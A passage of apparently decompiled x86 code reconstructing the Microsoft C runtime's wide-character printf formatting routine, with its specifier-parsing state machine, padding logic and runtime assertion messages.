										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C1C0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C5F4))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043C700( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43c62c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C614))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43c654; // 0xbe619003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C640))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E000();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422AF0(_t588))) = 0x16;
																						E00422880(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041AAA0(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BAA0(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041E000();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041AAA0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422AF0(_t580))) = 0x16;
																				E00422880(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041AAA0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E0043C760(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E0043C7A0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E0043C760(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E0043C7A0( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041AAD0(_t674 - 0x40);
																				_t541 = E0043B200(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E0043C700( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E0043C760(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x43c6c0; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C684))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428150(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B540( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x2c9cf96e
																					E00424340(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xac9cf9bd
																						E00424340(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xac9cf9c2
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAD0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AAD0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B200(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428150(__ebp + 0x14);
																			if(E00433CF0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E000();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																				__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAA0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
